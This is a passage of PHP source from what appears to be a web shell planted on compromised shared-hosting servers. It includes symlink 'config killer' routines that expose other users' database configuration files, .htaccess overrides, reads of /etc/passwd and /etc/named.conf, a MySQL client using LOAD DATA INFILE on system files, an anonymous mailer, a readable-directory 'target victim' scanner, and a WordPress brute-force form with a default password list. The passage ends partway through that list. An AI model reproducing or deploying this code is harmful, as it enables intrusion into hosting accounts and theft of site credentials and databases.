2949 $rs = "/homez.7/" . $us . "/www/" . $c;
2950 $rs = "/homez.8/" . $us . "/www/" . $c;
2951 $rs = "/homez.9/" . $us . "/www/" . $c;
2952 $rs = "/homez.10/" . $us . "/www/" . $c;
2953 $rs = "/homez.11/" . $us . "/www/" . $c;
2954 $rs = "/homez.12/" . $us . "/www/" . $c;
2955 $rs = "/homez.13/" . $us . "/www/" . $c;
2956 $rs = "/homez.14/" . $us . "/www/" . $c;
2957 $rs = "/homez.15/" . $us . "/www/" . $c;
2958 $rs = "/homez.16/" . $us . "/www/" . $c;
2959 $rs = "/homez.17/" . $us . "/www/" . $c;
2960 $rs = "/homez.18/" . $us . "/www/" . $c;
2961 $rs = "/homez.19/" . $us . "/www/" . $c;
2962 $rs = "/homez.20/" . $us . "/www/" . $c;
2963 $rs = "/homez.21/" . $us . "/www/" . $c;
2964 $rs = "/homez.22/" . $us . "/www/" . $c;
2965 $rs = "/homez.23/" . $us . "/www/" . $c;
2966 $rs = "/homez.24/" . $us . "/www/" . $c;
2967 $rs = "/homez.25/" . $us . "/www/" . $c;
2968 $rs = "/homez.26/" . $us . "/www/" . $c;
2969 $rs = "/homez.27/" . $us . "/www/" . $c;
2970 $rs = "/homez.28/" . $us . "/www/" . $c;
2971 $rs = "/homez.29/" . $us . "/www/" . $c;
2972 $rs = "/homez.30/" . $us . "/www/" . $c;
2973 $rs = "/homez.31/" . $us . "/www/" . $c;
2974 $rs = "/homez.32/" . $us . "/www/" . $c;
2975 $rs = "/homez.33/" . $us . "/www/" . $c;
2976 $rs = "/homez.34/" . $us . "/www/" . $c;
2977 $rs = "/homez.35/" . $us . "/www/" . $c;
2978 $rs = "/homez.36/" . $us . "/www/" . $c;
2979 $rs = "/homez.37/" . $us . "/www/" . $c;
2980 $rs = "/homez.38/" . $us . "/www/" . $c;
2981 $rs = "/homez.39/" . $us . "/www/" . $c;
2982 $rs = "/homez.40/" . $us . "/www/" . $c;
2983 $rs = "/homez.41/" . $us . "/www/" . $c;
2984 $rs = "/homez.42/" . $us . "/www/" . $c;
2985 $rs = "/homez.43/" . $us . "/www/" . $c;
2986 $rs = "/homez.44/" . $us . "/www/" . $c;
2987 $rs = "/homez.45/" . $us . "/www/" . $c;
2988 $rs = "/homez.46/" . $us . "/www/" . $c;
2989 $rs = "/homez.47/" . $us . "/www/" . $c;
2990 $rs = "/homez.48/" . $us . "/www/" . $c;
2991 $rs = "/homez.49/" . $us . "/www/" . $c;
2992 $rs = "/homez.50/" . $us . "/www/" . $c;
2993 $rs = "/homez.51/" . $us . "/www/" . $c;
2994 $rs = "/homez.52/" . $us . "/www/" . $c;
2995 $rs = "/homez.53/" . $us . "/www/" . $c;
2996 $rs = "/homez.54/" . $us . "/www/" . $c;
2997 $rs = "/homez.55/" . $us . "/www/" . $c;
2998 $rs = "/homez.56/" . $us . "/www/" . $c;
2999 $rs = "/homez.57/" . $us . "/www/" . $c;
3000 $rs = "/homez.58/" . $us . "/www/" . $c;
3001 $rs = "/homez.59/" . $us . "/www/" . $c;
3002 $rs = "/homez.60/" . $us . "/www/" . $c;
3003 $rs = "/homez.61/" . $us . "/www/" . $c;
3004 $rs = "/homez.62/" . $us . "/www/" . $c;
3005 $rs = "/homez.63/" . $us . "/www/" . $c;
3006 $rs = "/homez.64/" . $us . "/www/" . $c;
3007 $rs = "/homez.65/" . $us . "/www/" . $c;
3008 $rs = "/homez.66/" . $us . "/www/" . $c;
3009 $rs = "/homez.67/" . $us . "/www/" . $c;
3010 $rs = "/homez.68/" . $us . "/www/" . $c;
3011 $rs = "/homez.69/" . $us . "/www/" . $c;
3012 $rs = "/homez.70/" . $us . "/www/" . $c;
3013 $rs = "/homez.71/" . $us . "/www/" . $c;
3014 $rs = "/homez.72/" . $us . "/www/" . $c;
3015 $rs = "/homez.73/" . $us . "/www/" . $c;
3016 $rs = "/homez.74/" . $us . "/www/" . $c;
3017 $rs = "/homez.75/" . $us . "/www/" . $c;
3018 $rs = "/homez.76/" . $us . "/www/" . $c;
3019 $rs = "/homez.77/" . $us . "/www/" . $c;
3020 $rs = "/homez.78/" . $us . "/www/" . $c;
3021 $rs = "/homez.79/" . $us . "/www/" . $c;
3022 $rs = "/homez.80/" . $us . "/www/" . $c;
3023 $rs = "/homez.81/" . $us . "/www/" . $c;
3024 $rs = "/homez.82/" . $us . "/www/" . $c;
3025 $rs = "/homez.83/" . $us . "/www/" . $c;
3026 $rs = "/homez.84/" . $us . "/www/" . $c;
3027 $rs = "/homez.85/" . $us . "/www/" . $c;
3028 $rs = "/homez.86/" . $us . "/www/" . $c;
3029 $rs = "/homez.87/" . $us . "/www/" . $c;
3030 $rs = "/homez.88/" . $us . "/www/" . $c;
3031 $rs = "/homez.89/" . $us . "/www/" . $c;
3032 $rs = "/homez.100/" . $us . "/www/" . $c;
3033 $rs = "/homez.101/" . $us . "/www/" . $c;
3034 $rs = "/homez.102/" . $us . "/www/" . $c;
3035 $rs = "/homez.103/" . $us . "/www/" . $c;
3036 $rs = "/homez.104/" . $us . "/www/" . $c;
3037 $rs = "/homez.105/" . $us . "/www/" . $c;
3038 $rs = "/homez.106/" . $us . "/www/" . $c;
3039 $rs = "/homez.107/" . $us . "/www/" . $c;
3040 $rs = "/homez.108/" . $us . "/www/" . $c;
3041 $rs = "/homez.109/" . $us . "/www/" . $c;
3042 $rs = "/homez.110/" . $us . "/www/" . $c;
3043 $rs = "/homez.111/" . $us . "/www/" . $c;
3044 $rs = "/homez.112/" . $us . "/www/" . $c;
3045 $rs = "/homez.113/" . $us . "/www/" . $c;
3046 $rs = "/homez.114/" . $us . "/www/" . $c;
3047 $rs = "/homez.115/" . $us . "/www/" . $c;
3048 $rs = "/homez.116/" . $us . "/www/" . $c;
3049 $rs = "/homez.117/" . $us . "/www/" . $c;
3050 $rs = "/homez.118/" . $us . "/www/" . $c;
3051 $rs = "/homez.119/" . $us . "/www/" . $c;
3052 $rs = "/homez.120/" . $us . "/www/" . $c;
3053 $rs = "/homez.121/" . $us . "/www/" . $c;
3054 $rs = "/homez.122/" . $us . "/www/" . $c;
3055 $rs = "/homez.123/" . $us . "/www/" . $c;
3056 $rs = "/homez.124/" . $us . "/www/" . $c;
3057 $rs = "/homez.125/" . $us . "/www/" . $c;
3058 $rs = "/homez.126/" . $us . "/www/" . $c;
3059 $rs = "/homez.127/" . $us . "/www/" . $c;
3060 $rs = "/homez.128/" . $us . "/www/" . $c;
3061 $rs = "/homez.129/" . $us . "/www/" . $c;
3062 $rs = "/homez.130/" . $us . "/www/" . $c;
3063 $r = "OVH/" . $us . "~" . $c;
3064 symlink($rs, $r);
3065 }
3066 }
3067 }
3068?>
3069
3070<?php
3071}
3072// x=litespeed
3073elseif (isset($_GET['x']) && ($_GET['x'] == 'litespeed')) {
3074 // symlink litespeed-nginx + config killer
3075
3076?>
3077<form action="?dm=<?php echo $pwd; ?>&x=litespeed" method="post">
3078<?php
3079 $head = '
3080<html>
3081<head>
3082</script>
3083<title>LITESPEED - APACHE</title>
3084<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3085<script language=\'javascript\'>
3086function hide_div(id)
3087{
3088 document.getElementById(id).style.display = \'none\';
3089 document.cookie=id+\'=0;\';
3090}
3091function show_div(id)
3092{
3093 document.getElementById(id).style.display = \'block\';
3094 document.cookie=id+\'=1;\';
3095}
3096function change_divst(id)
3097{
3098if (document.getElementById(id).style.display == \'none\')
3099show_div(id);
3100else
3101hide_div(id);
3102}
3103</script>'; ?>
3104<html>
3105<head>
3106<?php echo $head; ?>
3107<body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
3108<form method=post><br/><br/>
3109<nobr><b><span class='b7'>O=:[ LITESPEED - NGINX TOOLS ]:=O</span></b></nobr><br/><br/>
3110<p><input type=submit style=color:blue;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3111
3112<?php
3113 if (isset($_POST['usre'])) {
3114?>
3115<form method=post>
3116<textarea rows=20 style=color:blue;background-color:#000000 cols=60 name=user><?php $users = file("/etc/passwd");
3117 foreach ($users as $user) {
3118 $str = explode(":", $user);
3119 echo $str[0] . "
3120";
3121 }
3122?></textarea><br><br>
3123<input type=submit style=color:blue;background-color:#000000 name=su value="EXECUTE" /></form><br/>
3124<?php
3125 } ?>
3126
3127<?php
3128 error_reporting(0);
3129 if (isset($_POST['su'])) {
3130 mkdir('litespeed', 0777);
3131 $rr = "Options +FollowSymlinks
3132Options +IncludesNoExec -ExecCGI
3133DirectoryIndex index.html index.shtml index.htm index.php
3134RemoveHandler .php
3135AddType text/html .shtml
3136AddType application/octet-stream .php
3137AddHandler server-parsed .shtml";
3138 $g = fopen('litespeed/.htaccess', 'w');
3139 fwrite($g, $rr);
3140 $dm = symlink("/", "litespeed/dm.shtml");
3141 $rt = "<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3142 echo "<nobr>[~] ";
3143 echo "$rt";
3144 $dir = mkdir('LITESPEED', 0777);
3145 $r = "Options +FollowSymlinks
3146Options +IncludesNoExec -ExecCGI
3147DirectoryIndex index.html index.shtml index.htm index.php
3148RemoveHandler .php
3149AddType text/html .shtml
3150AddType application/octet-stream .php
3151 AddHandler server-parsed .shtml";
3152 $f = fopen('LITESPEED/.htaccess', 'w');
3153 fwrite($f, $r);
3154 $consym = "<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
3155 echo " [~] ";
3156 echo "$consym";
3157 echo " [~]</nobr>";
3158 $usr = explode("
3159", $_POST['user']);
3160 $configuration = array("aksi.php", "aksi.php.old", "aksi.php.bak", "conf.php", "conf.php.old", "conf.php.bak", "conf_global.php", "conf_global.php.old", "conf_global.php.bak", "config.php", "config.php.old", "config.php.bak", "configuration.php", "configuration.php.old", "configuration.php.bak", "conn.php", "conn.php.old", "conn.php.bak", "connect.php", "connect.php.old", "connect.php.bak", "connection.php", "connection.php.old", "connection.php.bak", "db.php", "db.php.old", "db.php.bak", "database.php", "database.php.old", "database.php.bak", "inc.php", "inc.php.old", "inc.php.bak", "koneksi.php", "koneksi.php.old", "koneksi.php.bak", "mysql.php", "myqsl.php.old", "mysql.php.bak", "setting.php", "setting.php.old", "setting.php.bak", "Settings.php", "Settings.php.old", "Settings.php.bak", "sql.php", "sql.php.old", "sql.php.bak");
3161 foreach ($usr as $uss) {
3162 $us = trim($uss);
3163 foreach ($configuration as $c) {
3164 $rs = "/home/" . $us . "/public_html/" . $c;
3165 $r = "LITESPEED/" . $us . "~" . $c;
3166 symlink($rs, $r);
3167 }
3168 }
3169 }
3170?>
3171
3172
3173 <?php
3174}
3175// x=mysql1
3176elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql1')) {
3177 if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
3178 $sqlhost = $_GET['sqlhost'];
3179 $sqluser = $_GET['sqluser'];
3180 $sqlpass = $_GET['sqlpass'];
3181 $sqlport = $_GET['sqlport'];
3182 if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {
3183 $msg.= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3184 $msg.= "<p>Connected to " . $sqluser . "<span class=\"gaya\">@</span>" . $sqlhost . ":" . $sqlport;
3185 $msg.= " <span class=\"gaya\">-></span> <a href=\"?dm=" . $pwd . "&x=mysql&
3186
3187sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&
3188sqlpass=" . $sqlpass . "&
3189sqlport=" . $sqlport . "&\">[ databases ]</a>";
3190 if (isset($_GET['db'])) $msg.= " <span class=\"gaya\">-></span>
3191 <a href=\"dm=" . $pwd . "&x=mysql&
3192sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&
3193sqlpass=" . $sqlpass . "&
3194sqlport=" . $sqlport . "&
3195db=" . $_GET['db'] . "\">" . htmlspecialchars($_GET['db']) . "</a>";
3196 if (isset($_GET['table'])) $msg.= " <span class=\"gaya\">-></span> <a href=\"dm=" . $pwd . "&x=mysql&
3197sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&
3198sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&
3199db=" . $_GET['db'] . "&
3200table=" . $_GET['table'] . "\">" . htmlspecialchars($_GET['table']) . "</a>";
3201 $msg.= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
3202 $msg.= "</div>";
3203 echo $msg;
3204 if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))) {
3205 $db = $_GET['db'];
3206 $query = "DROP TABLE IF EXISTS dm0_table;
3207CREATE TABLE `dm0_table` ( `file` LONGBLOB NOT NULL );
3208LOAD DATA INFILE \"/etc/passwd\"
3209INTO TABLE Z3r0Z3r0_table;SELECT * FROM dm0_table;
3210DROP TABLE IF EXISTS dm_table;";
3211 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"><input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
3212 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
3213<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />
3214<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />
3215<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />
3216<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />
3217<input type=\"hidden\" name=\"db\" value=\"" . $db . "\" />
3218<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
3219 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3220</form></div> ";
3221 $tables = array();
3222 $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on " . $db . "</th></tr>";
3223 $hasil = @mysql_list_tables($db, $con);
3224 while (list($table) = @mysql_fetch_row($hasil)) {
3225 @array_push($tables, $table);
3226 }
3227 @sort($tables);
3228 foreach ($tables as $table) {
3229 $msg.= "<tr><td><a href=\"?dm=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "&table=" . $table . "\">$table</a></td></tr>";
3230 }
3231 $msg.= "</table>";
3232 } elseif (isset($_GET['table']) && (!isset($_GET['sqlquery']))) {
3233 $db = $_GET['db'];
3234 $table = $_GET['table'];
3235 $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
3236 $msgq = "<div style=\"width:99%;padding:0 10px;\">
3237<form action=\"?\" method=\"get\">
3238<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
3239<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3240<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />
3241<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />
3242<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />
3243<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />
3244<input type=\"hidden\" name=\"db\" value=\"" . $db . "\" />
3245<input type=\"hidden\" name=\"table\" value=\"" . $table . "\" />
3246 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p>
3247<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3248</form></div> ";
3249 $columns = array();
3250 $msg = "<table class=\"explore\" style=\"width:99%;\">";
3251 $hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
3252 while (list($column) = @mysql_fetch_row($hasil)) {
3253 $msg.= "<th>$column</th>";
3254 $kolum = $column;
3255 }
3256 $msg.= "</tr>";
3257 $hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
3258 list($total) = mysql_fetch_row($hasil);
3259 if (isset($_GET['z'])) $page = (int)$_GET['z'];
3260 else $page = 1;
3261 $pagenum = 100;
3262 $totpage = ceil($total / $pagenum);
3263 $start = (($page - 1) * $pagenum);
3264 $hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
3265 while ($datas = @mysql_fetch_assoc($hasil)) {
3266 $msg.= "<tr>";
3267 foreach ($datas as $data) {
3268 if (trim($data) == "") $data = " ";
3269 $msg.= "<td>$data</td>";
3270 }
3271 $msg.= "</tr>";
3272 }
3273 $msg.= "</table>";
3274 $head = "<div style=\"padding:10px 0 0 6px;\"><form action=\"?\" method=\"get\">
3275<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
3276<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3277<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />
3278<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />
3279<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />
3280<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />
3281<input type=\"hidden\" name=\"db\" value=\"" . $db . "\" />
3282<input type=\"hidden\" name=\"table\" value=\"" . $table . "\" />
3283Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3284 for ($i = 1;$i <= $totpage;$i++) {
3285 $head.= "<option value=\"" . $i . "\">" . $i . "</option>";
3286 if ($i == $_GET['z']) $head.= "<option value=\"" . $i . "\" selected=\"selected\">" . $i . "</option>";
3287 }
3288 $head.= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
3289 $msg = $msgq . $head . $msg;
3290 } elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")) {
3291 $db = $_GET['db'];
3292 $query = magicboom($_GET['sqlquery']);
3293 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
3294<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
3295<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3296<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />
3297<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />
3298<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />
3299<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />
3300<input type=\"hidden\" name=\"db\" value=\"" . $db . "\" />
3301<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p>
3302<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p></form></div> ";
3303 @mysql_select_db($db);
3304 $querys = explode(";", $query);
3305 foreach ($querys as $query) {
3306 if (trim($query) != "") {
3307 $hasil = mysql_query($query);
3308 if ($hasil) {
3309 $msg.= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";
3310<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
3311 $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr>";
3312 for ($i = 0;$i < @mysql_num_fields($hasil);$i++) $msg.= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
3313 $msg.= "</tr>";
3314 for ($i = 0;$i < @mysql_num_rows($hasil);$i++) {
3315 $rows = @mysql_fetch_array($hasil);
3316 $msg.= "<tr>";
3317 for ($j = 0;$j < @mysql_num_fields($hasil);$j++) {
3318 if ($rows[$j] == "") $dataz = " ";
3319 else $dataz = $rows[$j];
3320 $msg.= "<td>" . $dataz . "</td>";
3321 }
3322 $msg.= "</tr>";
3323 }
3324 $msg.= "</table>";
3325 } else $msg.= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . "; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
3326 }
3327 }
3328 } else {
3329 $query = "SHOW PROCESSLIST;
3330 SHOW VARIABLES;
3331 SHOW STATUS;";
3332 $msg = "<div style=\"width:99%;padding:0 10px;\">
3333<form action=\"?\" method=\"get\">
3334<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
3335<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3336<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />
3337<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />
3338<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />
3339<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />
3340<input type=\"hidden\" name=\"db\" value=\"" . $db . "\" />
3341<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p>
3342<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3343</form></div> ";
3344 $dbs = array();
3345 $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3346 $hasil = @mysql_list_dbs($con);
3347 while (list($db) = @mysql_fetch_row($hasil)) {
3348 @array_push($dbs, $db);
3349 }
3350 @sort($dbs);
3351 foreach ($dbs as $db) {
3352 $msg.= "<tr><td><a href=\"?dm=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "\">$db</a></td></tr>";
3353 }
3354 $msg.= "</table>";
3355 }
3356 @mysql_close($con);
3357 } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
3358 echo $msg;
3359 } else {
3360?>
3361<form action="?" method="get">
3362<input type="hidden" name="dm" value="<?php echo $pwd; ?>" />
3363<input type="hidden" name="x" value="mysql" />
3364<table class="tabnet" style="width:300px;">
3365<tr>
3366<th colspan="2">Connect to mySQL server</th>
3367</tr>
3368<tr>
3369<td> Host</td>
3370<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3371<tr>
3372<td> Username</td>
3373<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3374<tr>
3375<td> Password</td>
3376<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3377<tr>
3378<td> Port</td>
3379<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
3380</tr></table></form>
3381
3382<?php
3383 }
3384} elseif (isset($_GET['x']) && ($_GET['x'] == 'mail')) {
3385 if (isset($_POST['mail_send'])) {
3386 $mail_to = $_POST['mail_to'];
3387 $mail_from = $_POST['mail_from'];
3388 $mail_subject = $_POST['mail_subject'];
3389 $mail_content = magicboom($_POST['mail_content']);
3390 if (@mail($mail_to, $mail_subject, $mail_content, "FROM:$mail_from")) {
3391 $msg = "email sent to $mail_to";
3392 } else $msg = "send email failed";
3393 }
3394?>
3395<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
3396<br><br><table class="cmdbox"> <tr>
3397<td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
3398<tr>
3399<td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
3400<tr><td> <input class="inputz" style="width:20%;" type="text" value="gue@ganteng.com" name="mail_from" /> from</td></tr>
3401<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
3402<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr>
3403<tr><td> <?php echo $msg; ?>
3404</td></tr>
3405</table> </form>
3406
3407
3408<?php
3409}
3410#x=jumping
3411elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) { ?>
3412
3413<form action="?dm=<?php echo $pwd; ?>&x=jumping" method="post">
3414
3415<?php
3416 ($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die('<center><br/><br/><nobr><span class=b9>SAFE MODE ON</span></nobr><br/><br/></center> ');
3417 set_time_limit(0);
3418 @$passwd = fopen('/etc/passwd-', 'r');
3419 if (!$passwd) {
3420 die('<center><br/><br/><nobr><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/></center>');
3421 }
3422 $pub = array();
3423 $users = array();
3424 $conf = array();
3425 $i = 0;
3426 while (!feof($passwd)) {
3427 $str = fgets($passwd);
3428 if ($i > 10) {
3429 $pos = strpos($str, ':');
3430 $username = substr($str, 0, $pos);
3431 $dirz = '/home/' . $username . '/public_html/';
3432 if (($username != '')) {
3433 if (is_readable($dirz)) {
3434 array_push($users, $username);
3435 array_push($pub, $dirz);
3436 }
3437 }
3438 }
3439 $i++;
3440 }
3441 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ READABLE PUBLIC_HTML ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='200' cellspacing='0' cellpadding='0'>
3442<tr><th><b>TOTAL : " . sizeof($pub) . " TARGET VICTIM" . "</th></tr>";
3443 foreach ($users as $user) {
3444 $path = "/home/$user/public_html/";
3445 echo "<tr>";
3446 echo "<td><a href='?dm=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</td>";
3447 }
3448 echo "</tr>";
3449 echo "</table></center></body></html>";
3450}
3451# x=domain
3452elseif (isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
3453<form action="?dm=<?php echo $pwd; ?>&x=domain" method="post">
3454
3455<?php
3456 echo '<br><br></center><br><br><div class=content>';
3457 $file = @implode(@file("/etc/named.conf"));
3458 if (!$file) {
3459 die("can't ReaD -> [ /etc/named.conf ");
3460 }
3461 preg_match_all("#named/(.*?).db#", $file, $r);
3462 $domains = array_unique($r[1]);
3463 //check();
3464 //if(isset($_GET['ShowAll']))
3465 {
3466 echo "<table align=center border=1 width=59% cellpadding=5>
3467<tr><td colspan=2>[+] ADA [ <b>" . count($domains) . "</b> ] DOMAIN</td></tr>
3468<tr><td>Domain</td><td>User</td></tr>";
3469 foreach ($domains as $domain) {
3470 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3471 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
3472 }
3473 echo "</table>";
3474 }
3475 echo '</div>';
3476}
3477# x=crypter
3478elseif (isset($_GET['x']) && ($_GET['x'] == 'crypter')) {
3479 $submit = $_POST['enter'];
3480 $pass = $_POST['password'];
3481 if (isset($submit)) {
3482 $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
3483 $hash = md5($pass);
3484 $hash_md5 = md5($salt . $pass);
3485 $hash_md5_double = md5(sha1($salt . $pass));
3486 $hash1 = sha1($pass);
3487 $hash1_sha1 = sha1($salt . $pass);
3488 $hash1_sha1_double = sha1(md5($salt . $pass));
3489 }
3490 echo '<form action="" method="post"><b><table class=tabnet>';
3491 echo '<tr><th colspan="2">Password Hash</th></center></tr>';
3492 echo '<tr><td><b>Masukan Kata : </b></td>';
3493 echo '<td><input class="inputz" type="text" name="password" size="40" />';
3494 echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
3495 echo '</td></tr><br>';
3496 echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
3497 echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value=' . $pass . '></td></tr><br><br>';
3498 echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value=' . $hash . '></td></tr><br><br>';
3499 echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash_md5 . '></td></tr><br><br>';
3500 echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=' . $hash_md5_double . '></td></tr><br><br>';
3501 echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=' . $hash1 . '></td></tr><br><br>';
3502 echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1 . '></td></tr><br><br>';
3503 echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1_double . '></td></tr><br><br></table>';
3504}
3505# x=wp1
3506elseif (isset($_GET['x']) && ($_GET['x'] == 'wp1')) { ?>
3507<form action="?dm=<?php echo $pwd; ?>&x=wp1" method="post">
3508
3509<center><br/><br/>
3510<form enctype="multipart/form-data" method="POST">
3511<table width='624' border='0' class='tabnet' id='Box'>
3512<tr><th colspan="5">Wordpress Brute Force</th></tr>
3513<tr><td > </td>
3514<td><p>Hosts:</p></td>
3515<td><p>Users:</p></td>
3516<td><p>Passwords:</p></td></tr>
3517<tr><td> </td>
3518<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if ($_POST) {
3519 echo $_POST['hosts'];
3520 } ?></textarea></td>
3521<td><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if ($_POST) {
3522 echo $_POST['usernames'];
3523 } else {
3524 echo "admin";
3525 } ?></textarea></td>
3526<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" >
3527
3528<?php if ($_POST) {
3529 echo $_POST['passwords'];
3530 } else {
3531 echo "admin
3532administrator
3533admin123
3534qwerty
3535123qwerty
3536qwerty12345
3537123adminS45admin
3538qwe123rty
3539123123
3540123321
3541123456
35421234567
354312345678
3544123456789
3545123456123456
3546admin2010
3547admin2011
3548password
3549P@ssW0rd
3550!@#$%^
3551!@#$%^&*(
3552(*&^%$#@!
3553111111
3554222222
3555333333
3556444444
3557555555
3558666666
3559777777
3560888888
3561999999";
